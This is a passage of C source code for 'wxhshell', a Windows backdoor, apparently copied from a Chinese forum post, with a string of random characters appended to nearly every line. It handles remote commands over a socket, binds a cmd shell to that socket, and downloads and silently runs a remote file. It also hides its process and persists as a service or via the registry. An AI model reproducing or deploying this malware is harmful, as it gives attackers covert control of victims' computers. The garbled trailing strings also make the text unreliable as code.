  m9S5;kB]  
  // 帮助 gS 3&,^  
  case '?': { 8a {gEZT,  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 6P8X)3CE<T  
    break; M`FL&Ac  
  } r+crE %-  
  // 安装 #wfR$Cd  
  case 'i': { ;'kH<Iq  
    if(Install()) d0d2QRX  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); YVi]f2F%  
    else NgKNT}JDv  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); aDESO5  
    break; O!jCQ{ T  
    }  :n4x}%  
  // 卸载 @nK 08Kj-  
  case 'r': { xOH@V4z:  
    if(Uninstall()) ^EZoP:x(oE  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;8UHPDnst  
    else jw)t"S/E  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >?tpGEZ\  
    break; inPGWG K]  
    } v>6r|{  
  // 显示 wxhshell 所在路径 t s&C0  
  case 'p': { Y`v&YcX;  
    char svExeFile[MAX_PATH]; %!RQ:?=  
    strcpy(svExeFile,"\n\r"); lDzVc`c  
      strcat(svExeFile,ExeFile); c3+vtP&  
        send(wsh,svExeFile,strlen(svExeFile),0); j.sf FS  
    break; !xSGZ D=AD  
    } n&^Rs )%v  
  // 重启 ek<U2C_u#  
  case 'b': { z!tHn#  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); x.I-z@\E  
    if(Boot(REBOOT)) cD]t%`*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); P=.W.oS  
    else { Pt$7U[N  
    closesocket(wsh); hO8B]4=&*  
    ExitThread(0); a,.9eHf  
    } wS GUNP9  
    break; Zx6BK=4G  
    } B(hNBq7  
  // 关机 .+.Pc_fv  
  case 'd': { Im2g2 ]  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); [&$z[/4:8c  
    if(Boot(SHUTDOWN)) Y|",.~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *KNR",.  
    else { /@K?W=w4  
    closesocket(wsh); :hr%iu  
    ExitThread(0); 8@!SM  
    } ouuj d~b+  
    break; b.F2m(e2  
    } aE+E'iL  
  // 获取shell ]M.ufbguq  
  case 's': { '(?@R5a  
    CmdShell(wsh); ] GJskBm  
    closesocket(wsh); z 'j%.Dd8  
    ExitThread(0); xZhh%~  
    break; 0z .&  
  } 7ORwDR,`5  
  // 退出 <5 okwcJ^  
  case 'x': { O1QHG'00  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); iIg_S13  
    CloseIt(wsh); `KZ}smMA  
    break; r~X6qC  
    } NGNn_1  
  // 离开 I>:'5V  
  case 'q': { Xo P]PR`cQ  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); lw7wvZD  
    closesocket(wsh); 0 }q/VH57  
    WSACleanup(); Q"KH!Bu%P  
    exit(1); f_}55?i0  
    break; K/altyj`  
        } H4UnF5G  
  } 3.soCyxmc  
  } 0=~Ji_5mB  
Zu!3RN[lp?  
  // 提示信息 R6ywc "xE  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ~&g:7f|X  
} D+RG,8Ht  
  } W /IyF){  
8<xJmcTEwO  
  return; r3|vu"Uei  
} r]TeR$NJ  
mIOx)`$  
// shell模块句柄 2e+DUZBoC  
int CmdShell(SOCKET sock) | r2'B  
{ O *CKyW_$t  
STARTUPINFO si; [qc90)^Q,  
ZeroMemory(&si,sizeof(si)); wEk9(|  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 4o'0lz]  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; n {M!l\1  
PROCESS_INFORMATION ProcessInfo; dz?:)5>I  
char cmdline[]="cmd"; zg]9~i8  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 'EXp[*  
  return 0; ?(F~9 V  
} Ltc>@  
o|*,<5t  
// 自身启动模式 ${ e{#  
int StartFromService(void) ? ;\YiOTda  
{ z`{x1*w_  
typedef struct yQ\c<z^e  
{ 9n1O@~  
  DWORD ExitStatus; V<1dA\I"  
  DWORD PebBaseAddress; LqW~QEU(  
  DWORD AffinityMask; \SyfEcSf2v  
  DWORD BasePriority; nlh%O@,  
  ULONG UniqueProcessId; ?'^xO:  
  ULONG InheritedFromUniqueProcessId; 7&2xUcsz)  
}   PROCESS_BASIC_INFORMATION; ! @|"84  
K@+&5\y]  
PROCNTQSIP NtQueryInformationProcess; (Ys 0|I3  
^,,|ED\M{m  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; &6h,'U  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; }6`#u :OZ  
y/E%W/3  
  HANDLE             hProcess; .#CTL|x  
  PROCESS_BASIC_INFORMATION pbi; s %/3X\_  
5E4np`J  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); IpHGit28  
  if(NULL == hInst ) return 0; (tys7og$'  
*r=6bpi  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); <.#i3!  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); fi`*r\  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Ymx/N+Jl  
*&!&Y*Jzg  
  if (!NtQueryInformationProcess) return 0; T2GJoJ!  
U",kAQY  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); {o AJL  
  if(!hProcess) return 0; 7N 7W0Ky  
L -<!,CASW  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ZxY%x/K  
Ee^2stc-  
  CloseHandle(hProcess); Ea 0 j}  
o#CNr5/  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); =#^\ 9|?$  
if(hProcess==NULL) return 0; ]v$VZ '  
eWE7>kwh  
HMODULE hMod; 624l5}@:  
char procName[255]; ELPzqBI  
unsigned long cbNeeded; 5!-'~W  
w_PnEJa9  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ^_n(>$ EK  
B/AS|i] sM  
  CloseHandle(hProcess); >,7 -cm=.  
,x&T8o/a  
if(strstr(procName,"services")) return 1; // 以服务启动 0.qnbDw_  
ZDMS:w.'T  
  return 0; // 注册表启动 ;5M I8  
} i1}Y;mj  
274F+X  
// 主模块 ?31#:Mg6g+  
int StartWxhshell(LPSTR lpCmdLine) 7 wH9w  
{ /c6:B5G  
  SOCKET wsl; ^|gD;OED7O  
BOOL val=TRUE; Sjv_% C $  
  int port=0; 67?O}~jbG  
  struct sockaddr_in door; 8k vG<&D  
_ 5n Lrn,~  
  if(wscfg.ws_autoins) Install(); v*U OD'tk  
A63=$  
port=atoi(lpCmdLine); ,Y  ./9F  
bW-9YXj%  
if(port<=0) port=wscfg.ws_port; xim'TVwvC  
LR%]4$ /M  
  WSADATA data; 9=TjSRS  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; N"L@  
9bwG3jn4?  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   8`Ih> D c  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); usc"m huQ  
  door.sin_family = AF_INET; n|q $=jE  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 0w<vc}{t  
  door.sin_port = htons(port); ;auT!a~a#  
6 b-'Hui+  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { wkc)2z   
closesocket(wsl); }xJ ).D  
return 1; )&Af[m S  
} zO)Bf(  
)jm!bR`  
  if(listen(wsl,2) == INVALID_SOCKET) { N.(wR  
closesocket(wsl); -Ph"#R&  
return 1; bS7%%8C  
} @? e+;Sx  
  Wxhshell(wsl); k}18 ~cWM  
  WSACleanup(); Q!.JV. (  
^Q,-4\ec  
return 0; V96:+r  
[`(W(0U%  
} 3'2>3Y/7Bb  
t[}&*2"$/  
// 以NT服务方式启动 I'[gGK4 F  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) p.)IdbC`B  
{ [+;>u|  
DWORD   status = 0; Zmx[:-  
  DWORD   specificError = 0xfffffff; x<d2/[(}mT  
C@b-)In  
  serviceStatus.dwServiceType     = SERVICE_WIN32; W<Ri(g-  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; q[}W&t,  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; efN5(9*9R  
  serviceStatus.dwWin32ExitCode     = 0; T]oVNy  
  serviceStatus.dwServiceSpecificExitCode = 0; zPm|$d  
  serviceStatus.dwCheckPoint       = 0; n~_;tO  
  serviceStatus.dwWaitHint       = 0; 6 H{G$[2  
nOTe 3?i>  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); f0M5^  
  if (hServiceStatusHandle==0) return; <*_DC)&7 9  
o*_arzhA  
status = GetLastError(); Be;l!]i  
  if (status!=NO_ERROR) Y+)qb);  
{ NWue;u^  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; L NS O]\  
    serviceStatus.dwCheckPoint       = 0; #V9do>Cu%  
    serviceStatus.dwWaitHint       = 0; F,}7rhY(U^  
    serviceStatus.dwWin32ExitCode     = status; '"C& dia  
    serviceStatus.dwServiceSpecificExitCode = specificError; W>y >  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Bi-x gq'z  
    return; '/2)I8  
  } z#HNJAQ#|  
b]5/IT)@O  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; mlLx!5h=  
  serviceStatus.dwCheckPoint       = 0; R+r;V]-/  
  serviceStatus.dwWaitHint       = 0; {&TP&_|H  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 9s4>hw@u  
} {iXQUj  
)6b`1o!7  
// 处理NT服务事件,比如:启动、停止 0g'MF  S  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 3;?DKRIcX  
{ GahIR9_2  
switch(fdwControl) >1BDt:G36  
{ bt=z6*C>A  
case SERVICE_CONTROL_STOP: Rt.2]eZEJ  
  serviceStatus.dwWin32ExitCode = 0;  |\FJ  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; \ORE;pG  
  serviceStatus.dwCheckPoint   = 0; ^^z_[Ih  
  serviceStatus.dwWaitHint     = 0; `|p8zV  
  { j6GR-WQ]t  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); p}]K0F!  
  } Ve\.7s  
  return; sq_ yu(  
case SERVICE_CONTROL_PAUSE: eNDc220b  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; "N3!!3  
  break; X?7s  
case SERVICE_CONTROL_CONTINUE: O[+\` 63F=  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; vyBx|TR  
  break; eWOZC(I*z  
case SERVICE_CONTROL_INTERROGATE: BD2Gv)?g  
  break; d1}cXSQ1T  
}; >)t-Zh:n  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); |U`A So  
} ST1;i5   
>@tJ7m M  
// 标准应用程序主函数 "G!,gtA~  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 7*eIs2aY  
{ _ |G') 9  
oM!zeJNA  
// 获取操作系统版本 SoHw9FtS  
OsIsNt=GetOsVer(); RDxvN:v  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ?$@E}t8g\  
|Hv8GT  
  // 从命令行安装 ;"2(e7ir  
  if(strpbrk(lpCmdLine,"iI")) Install(); W~& QcSWqD  
jwp?eL!7  
  // 下载执行文件 Bq~?!~\?.  
if(wscfg.ws_downexe) { J\?d+}hynX  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) vhrURY.  
  WinExec(wscfg.ws_filenam,SW_HIDE); =>*9"k%m  
} LG vPy  
^f] 9^U{  
if(!OsIsNt) { _^h?JTU^  
// 如果时win9x,隐藏进程并且设置为注册表启动 wV q4DE  
HideProc(); QSx4M  
StartWxhshell(lpCmdLine); %GigRA@no  
} $r1{N h  
else /6FPiASbS  
  if(StartFromService()) X\|h:ce  
  // 以服务方式启动 .-:@+=(  
  StartServiceCtrlDispatcher(DispatchTable); YR"IPyj  
else vMYEP_lhK,  
  // 普通方式启动 6$G@>QCBS  
  StartWxhshell(lpCmdLine); +7Qj%x\  
u >.>hQ  
return 0; ~>u u1[ /  
}
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只看该作者 1 发表于: 2006-10-10
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